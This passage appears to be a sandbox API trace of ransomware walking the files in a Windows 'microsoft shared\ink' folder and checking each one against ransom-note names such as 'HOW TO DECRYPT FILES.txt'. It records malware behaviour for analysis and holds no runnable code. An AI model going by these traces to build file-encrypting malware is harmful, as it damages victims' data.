shared\\ink\\mip.exe") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mip.exe" [0076.324] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2644b3, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2d2644b3, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9b490940, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0076.324] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.324] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mraut.dll") returned -1 [0076.324] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mraut.dll") returned -1 [0076.324] lstrcmpiA (lpString1="", lpString2="mraut.dll") returned -1 [0076.324] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mip.exe") returned="mip.exe" [0076.325] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.325] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.325] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.325] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.325] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="mraut.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mraut.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mraut.dll" [0076.325] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475edf2f, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x475edf2f, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9c6db320, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0076.325] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.325] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mshwgst.dll") returned -1 [0076.325] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mshwgst.dll") returned -1 [0076.325] lstrcmpiA (lpString1="", lpString2="mshwgst.dll") returned -1 [0076.325] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mraut.dll") returned="mraut.dll" [0076.325] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.325] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.325] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.325] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.325] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="mshwgst.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mshwgst.dll" [0076.325] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0734e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x53e0734e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x9c702420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0076.326] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.326] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mshwLatin.dll") returned -1 [0076.326] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mshwLatin.dll") returned -1 [0076.326] lstrcmpiA (lpString1="", lpString2="mshwLatin.dll") returned -1 [0076.326] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mshwgst.dll") returned="mshwgst.dll" [0076.326] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.326] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.326] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.326] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.326] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="mshwLatin.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" [0076.326] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20326ec4, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x20326ec4, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb95fefd0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penchs.dll", cAlternateFileName="")) returned 1 [0076.326] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.326] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="penchs.dll") returned -1 [0076.326] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="penchs.dll") returned -1 [0076.326] lstrcmpiA (lpString1="", lpString2="penchs.dll") returned -1 [0076.326] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\mshwLatin.dll") returned="mshwLatin.dll" [0076.326] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.326] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.326] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.326] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.327] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="penchs.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penchs.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penchs.dll" [0076.327] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20373182, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x20373182, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pencht.dll", cAlternateFileName="")) returned 1 [0076.327] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.327] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pencht.dll") returned -1 [0076.327] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pencht.dll") returned -1 [0076.327] lstrcmpiA (lpString1="", lpString2="pencht.dll") returned -1 [0076.327] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penchs.dll") returned="penchs.dll" [0076.327] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.327] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.327] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.327] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.327] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="pencht.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pencht.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pencht.dll" [0076.327] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203992e1, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203992e1, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penjpn.dll", cAlternateFileName="")) returned 1 [0076.327] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.327] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="penjpn.dll") returned -1 [0076.327] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="penjpn.dll") returned -1 [0076.327] lstrcmpiA (lpString1="", lpString2="penjpn.dll") returned -1 [0076.327] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pencht.dll") returned="pencht.dll" [0076.327] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.327] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.328] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.328] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.328] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="penjpn.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penjpn.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penjpn.dll" [0076.328] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203bf440, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203bf440, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb964aac0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penkor.dll", cAlternateFileName="")) returned 1 [0076.328] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.328] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="penkor.dll") returned -1 [0076.328] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="penkor.dll") returned -1 [0076.328] lstrcmpiA (lpString1="", lpString2="penkor.dll") returned -1 [0076.328] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penjpn.dll") returned="penjpn.dll" [0076.328] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.328] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.328] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.328] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.328] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="penkor.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penkor.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penkor.dll" [0076.328] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203bf440, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x203bf440, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xb96965b0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="penusa.dll", cAlternateFileName="")) returned 1 [0076.329] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.329] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="penusa.dll") returned -1 [0076.329] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="penusa.dll") returned -1 [0076.329] lstrcmpiA (lpString1="", lpString2="penusa.dll") returned -1 [0076.329] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penkor.dll") returned="penkor.dll" [0076.329] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.329] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.329] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.329] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.329] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="penusa.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penusa.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penusa.dll" [0076.329] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa13b21, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1fa13b21, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xba4df950, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.dll", cAlternateFileName="")) returned 1 [0076.329] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.329] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pipanel.dll") returned -1 [0076.329] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pipanel.dll") returned -1 [0076.329] lstrcmpiA (lpString1="", lpString2="pipanel.dll") returned -1 [0076.329] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\penusa.dll") returned="penusa.dll" [0076.329] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.329] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.329] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.329] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.329] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="pipanel.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pipanel.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pipanel.dll" [0076.330] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fda5c09, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x1fda5c09, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x6f4de180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.exe", cAlternateFileName="")) returned 1 [0076.330] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.330] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pipanel.exe") returned -1 [0076.330] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pipanel.exe") returned -1 [0076.330] lstrcmpiA (lpString1="", lpString2="pipanel.exe") returned -1 [0076.330] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pipanel.dll") returned="pipanel.dll" [0076.330] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.330] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.330] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.330] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\how to decrypt files.txt")) returned 0x20 [0076.330] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="pipanel.exe" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pipanel.exe") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pipanel.exe" [0076.330] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2043185d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x2043185d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xbae186c0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipres.dll", cAlternateFileName="")) returned 1 [0076.330] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.330] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pipres.dll") returned -1 [0076.330] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pipres.dll") returned -1 [0076.330] lstrcmpiA (lpString1="", lpString2="pipres.dll") returned -1 [0076.330] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\pipanel.exe") returned="pipanel.exe" [0076.330] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" [0076.330] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\") returned="" [0076.331] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT FILES.txt" [0076.331] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\HOW TO DECRYPT 